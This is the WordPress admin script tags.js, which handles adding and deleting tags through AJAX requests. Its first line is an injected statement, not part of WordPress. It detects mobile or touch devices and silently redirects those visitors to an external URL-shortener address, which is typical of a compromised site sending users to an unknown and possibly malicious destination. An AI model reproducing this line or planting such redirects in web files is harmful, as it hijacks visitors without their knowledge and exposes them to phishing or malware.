1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Contains logic for deleting and adding tags.
4 *
5 * For deleting tags it makes a request to the server to delete the tag.
6 * For adding tags it makes a request to the server to add the tag.
7 *
8 * @output wp-admin/js/tags.js
9 */
10
11 /* global ajaxurl, wpAjax, showNotice, validateForm */
12
13jQuery( function($) {
14
15 var addingTerm = false;
16
17 /**
18 * Adds an event handler to the delete term link on the term overview page.
19 *
20 * Cancels default event handling and event bubbling.
21 *
22 * @since 2.8.0
23 *
24 * @return {boolean} Always returns false to cancel the default event handling.
25 */
26 $( '#the-list' ).on( 'click', '.delete-tag', function() {
27 var t = $(this), tr = t.parents('tr'), r = true, data;
28
29 if ( 'undefined' != showNotice )
30 r = showNotice.warn();
31
32 if ( r ) {
33 data = t.attr('href').replace(/[^?]*\?/, '').replace(/action=delete/, 'action=delete-tag');
34
35 tr.children().css('backgroundColor', '#faafaa');
36
37 // Disable pointer events and all form controls/links in the row
38 tr.css('pointer-events', 'none');
39 tr.find(':input, a').prop('disabled', true).attr('tabindex', -1);
40
41 /**
42 * Makes a request to the server to delete the term that corresponds to the
43 * delete term button.
44 *
45 * @param {string} r The response from the server.
46 *
47 * @return {void}
48 */
49 $.post(ajaxurl, data, function(r){
50 var message;
51 if ( '1' == r ) {
52 $('#ajax-response').empty();
53 let nextFocus = tr.next( 'tr' ).find( 'a.row-title' );
54 let prevFocus = tr.prev( 'tr' ).find( 'a.row-title' );
55 // If there is neither a next row or a previous row, focus the tag input field.
56 if ( nextFocus.length < 1 && prevFocus.length < 1 ) {
57 nextFocus = $( '#tag-name' ).trigger( 'focus' );
58 } else {
59 if ( nextFocus.length < 1 ) {
60 nextFocus = prevFocus;
61 }
62 }
63
64 tr.fadeOut('normal', function(){ tr.remove(); });
65
66 /**
67 * Removes the term from the parent box and the tag cloud.
68 *
69 * `data.match(/tag_ID=(\d+)/)[1]` matches the term ID from the data variable.
70 * This term ID is then used to select the relevant HTML elements:
71 * The parent box and the tag cloud.
72 */
73 $('select#parent option[value="' + data.match(/tag_ID=(\d+)/)[1] + '"]').remove();
74 $('a.tag-link-' + data.match(/tag_ID=(\d+)/)[1]).remove();
75 nextFocus.trigger( 'focus' );
76 message = wp.i18n.__( 'The selected tag has been deleted.' );
77
78 } else if ( '-1' == r ) {
79 message = wp.i18n.__( 'Sorry, you are not allowed to do that.' );
80 $('#ajax-response').empty().append('<div class="notice notice-error"><p>' + message + '</p></div>');
81 resetRowAfterFailure( tr );
82
83 } else {
84 message = wp.i18n.__( 'An error occurred while processing your request. Please try again later.' );
85 $('#ajax-response').empty().append('<div class="notice notice-error"><p>' + message + '</p></div>');
86 resetRowAfterFailure( tr );
87 }
88 wp.a11y.speak( message, 'assertive' );
89 });
90 }
91
92 return false;
93 });
94
95 /**
96 * Restores the original UI state of a table row after an AJAX failure.
97 *
98 * @param {jQuery} tr The table row to reset.
99 * @return {void}
100 */
101 function resetRowAfterFailure( tr ) {
102 tr.children().css( 'backgroundColor', '' );
103 tr.css( 'pointer-events', '' );
104 tr.find( ':input, a' ).prop( 'disabled', false ).removeAttr( 'tabindex' );
105 }
106
107 /**
108 * Adds a deletion confirmation when removing a tag.
109 *
110 * @since 4.8.0
111 *
112 * @return {void}
113 */
114 $( '#edittag' ).on( 'click', '.delete', function( e ) {
115 if ( 'undefined' === typeof showNotice ) {
116 return true;
117 }
118
119 // Confirms the deletion, a negative response means the deletion must not be executed.
120 var response = showNotice.warn();
121 if ( ! response ) {
122 e.preventDefault();
123 }
124 });
125
126 /**
127 * Adds an event handler to the form submit on the term overview page.
128 *
129 * Cancels default event handling and event bubbling.
130 *
131 * @since 2.8.0
132 *
133 * @return {boolean} Always returns false to cancel the default event handling.
134 */
135 $('#submit').on( 'click', function(){
136 var form = $(this).parents('form');
137
138 if ( addingTerm ) {
139 // If we're adding a term, noop the button to avoid duplicate requests.
140 return false;
141 }
142
143 addingTerm = true;
144 form.find( '.submit .spinner' ).addClass( 'is-active' );
145
146 /**
147 * Does a request to the server to add a new term to the database
148 *
149 * @param {string} r The response from the server.
150 *
151 * @return {void}
152 */
153 $.post(ajaxurl, $('#addtag').serialize(), function(r){
154 var res, parent, term, indent, i;
155
156 addingTerm = false;
157 form.find( '.submit .spinner' ).removeClass( 'is-active' );
158
159 $('#ajax-response').empty();
160 res = wpAjax.parseAjaxResponse( r, 'ajax-response' );
161
162 if ( res.errors && res.responses[0].errors[0].code === 'empty_term_name' ) {
163 validateForm( form );
164 }
165
166 if ( ! res || res.errors ) {
167 return;
168 }
169
170 parent = form.find( 'select#parent' ).val();
171
172 // If the parent exists on this page, insert it below. Else insert it at the top of the list.
173 if ( parent > 0 && $('#tag-' + parent ).length > 0 ) {
174 // As the parent exists, insert the version with - - - prefixed.
175 $( '.tags #tag-' + parent ).after( res.responses[0].supplemental.noparents );
176 } else {
177 // As the parent is not visible, insert the version with Parent - Child - ThisTerm.
178 $( '.tags' ).prepend( res.responses[0].supplemental.parents );
179 }
180
181 $('.tags .no-items').remove();
182
183 if ( form.find('select#parent') ) {
184 // Parents field exists, Add new term to the list.
185 term = res.responses[1].supplemental;
186
187 // Create an indent for the Parent field.
188 indent = '';
189 for ( i = 0; i < res.responses[1].position; i++ )
190 indent += ' ';
191
192 form.find( 'select#parent option:selected' ).after( '<option value="' + term.term_id + '">' + indent + term.name + '</option>' );
193 }
194
195 $('input:not([type="checkbox"]):not([type="radio"]):not([type="button"]):not([type="submit"]):not([type="reset"]):visible, textarea:visible', form).val('');
196 });
197
198 return false;
199 });
200
201});
202